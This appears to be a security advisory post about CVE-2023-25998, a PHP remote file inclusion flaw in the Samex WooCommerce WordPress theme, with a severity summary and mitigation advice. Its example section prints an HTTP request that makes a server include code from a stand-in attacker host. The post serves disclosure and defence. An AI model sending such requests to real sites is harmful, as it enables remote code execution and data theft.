Overview
In this post, we will explore the vulnerability CVE-2023-25998, a security issue found within the Samex – Clean, Minimal Shop WooCommerce WordPress Theme. This vulnerability, known as PHP Remote File Inclusion, affects the improper control of filename for the include/require statement in PHP programs. This vulnerability is particularly threatening due to its potential to lead to system compromise or data leakage. Any organization or individual using Samex WooCommerce WordPress Theme from any version up to 2.6 is at risk and should take immediate steps to mitigate the risk.
Vulnerability Summary
CVE ID: CVE-2023-25998
Severity: High (8.1, CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Samex – Clean, Minimal Shop WooCommerce WordPress Theme | Up to 2.6
How the Exploit Works
The vulnerability lies in the improper control of filename for include/require statement in PHP programs within the Samex WooCommerce WordPress Theme. In a typical PHP Remote File Inclusion (RFI) attack, an attacker might manipulate a PHP script to include a remote file with malicious code. This allows the attacker to execute the malicious code on the server. The execution could potentially compromise the system and lead to data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
GET /index.php?file=http://attacker.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.comIn this example, the GET request is used to retrieve a PHP file from the server. If the server is vulnerable to PHP RFI, the attacker can supply a URL (`http://attacker.com/malicious_code.txt`) in place of a local file. If the server processes this request, it will include the remote file, which could contain malicious code. This code would then be executed on the server, potentially resulting in a system compromise or data leakage.
Recommended Mitigation
To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy. Regular updates and careful monitoring of the system can help prevent potential exploits.